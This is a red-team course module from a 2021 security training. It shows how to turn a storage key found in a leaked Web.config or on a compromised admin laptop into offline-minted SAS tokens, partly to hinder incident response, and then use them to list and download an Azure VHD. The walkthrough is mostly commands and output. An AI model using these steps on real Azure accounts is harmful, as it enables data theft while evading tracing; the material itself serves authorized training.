Once we find a secret to an Azure service through one of these common methods:

- Location of a configuration (e.g. Web.Config) and/or source code repository (e.g. .git) which contains files.
- Exploitation of an endpoint (e.g. laptop) which is being used to administer the Azure resources (e.g. access*.json, browser cookies, pfx, etc...)

We can then leverage these secrets to access the applicable Azure services. While there is a variety of methods for persisting access, some of the most common include:

- Adding additional users, keys, certificates, and/or service principals.

Storage Persistence

If we at anytime gain access to an Azure storage account, we can mint our own keys offline using the mintyOffline tool and then use the keys we minted offline to access the storage account, hence making tracing back how we obtained the keys slightly harder for an Incident Response and/or security monitoring team.

We can run mintyoffline with the following syntax:

```
root@ip-10-0-1-251:~# cnoio_mintyoffline -h
usage: mintyOffline.py [-h]
                       storage_account container_name permission token_ttl
                       storage_key

positional arguments:
  storage_account  [required] storage account to create SAS token for e.g.:
                   bcod030
  container_name   [required] container to create SAS token for e.g.:
                   container030
  permission       [required] permission to set for SAS token e.g.: rl
  token_ttl        [required] ttl to set for SAS token e.g.: 1
  storage_key      [required] storage key to use to create SAS token e.g.:
                   HdB...WOA==

optional arguments:
  -h, --help       show this help message and exit
```

If we find a secret which looks something like this:

```
...
  <connectionStrings>
    <add name="StorageConnectionString" connectionString="DefaultEndpointsProtocol=https;AccountName=rgred005disks;AccountKey=zGq...88.characters...UFA==;EndpointSuffix=core.windows.n
  </connectionStrings>
...
```

We use the information with the mintyoffline tool with the following syntax:

```
root@ip-10-0-1-251:~# cnoio_mintyoffline rgred005disks vhds rl 1 zGq...88.characters...UFA==
CRITICAL:root:[-] sStorageAccountName: rgred005disks
CRITICAL:root:[-] sContainerName: vhds
CRITICAL:root:[-] sPermission: rl
CRITICAL:root:[-] sTokenTtl: 1
CRITICAL:root:[-] iTokenTtl: 1
CRITICAL:root:[-] sStorageKey: zGq...88.characters...UFA==
CRITICAL:root:
   __ ____       __        ____ __________
   / |/ (_)___  / /___  __/ ___ \/ __/ __/ (_)___ ___
  / /|_/ / / __ \/ __/ / / / /_/ / /_/ / / __ \/ _ / / /  / / / / / / /_/ /_/ / /_/ / __/ __/ / / / / /  __/
/_/  /_/_/_/ /_/\__/\__/, /\____/_/ /_/ /_/_/_/ /_/\___/
                        /____/

CRITICAL:root:[+] MintyOffline - Alpha v0.0.3
CRITICAL:root:[+] SAS URL: https://rgred005disks.blob.core.windows.net/vhds?sig=z7T...redacted...0zU%3D&srt=co&ss=b&spr=https&sp=rl&sv=2016-05-31&se=2020-05-11T20%3A32%3A15Z&st=2020-0
CRITICAL:root:[+] SAS Token: sig=z7TLS8Cm0qj2RR8%2FIJg1B%2FS2nNjw3z6eNuUyR%2FYv0zU%3D&srt=co&ss=b&spr=https&sp=rl&sv=2016-05-31&se=2020-05-11T20%3A32%3A15Z&st=2020-05-11T19%3A27%3A15Z
```

We can then use these access credentials with the azure cli to access resrouces within a storage container:

```
root@ip-10-0-1-251:/shared# cnoio_azureclione
root@c34372244d7f:/app# azure storage blob list --container vhds --account-name "rgred005disks" --sas "sig=z7T...redacted...0zU%3D&srt=co&ss=b&spr=https&sp=rl&sv=2016-05-31&se=2020-05
info:    Executing command storage blob list
+ Getting blobs in container vhds
data:    Name                          Blob Type  Length       Content Type               Last Modified                  Snapshot Time
data:    ----------------------------  ---------  -----------  -------------------------  -----------------------------  -------------
data:    jumpbox0052021072713221 1.vhd  PageBlob   32213303808  application/octet-stream  Tue, 27 Jul 2021 19:47:33 GMT
info:    storage blob list command OK
root@c34372244d7f:/app#
```

We can see that we can access the same hard disk resources, but this time using only the key we minted offline!

Exercise

The Plan:

- Generate an SAS key offline using mintyOffline

-- Download the Hard Disk using the SAS key

References:

Check out the following references for more information:

- Using shared access signatures (SAS) - https://docs.microsoft.com/en-us/azu

BHUSA2021

Copyright ©2021 Stage 2 Security All rights reserved.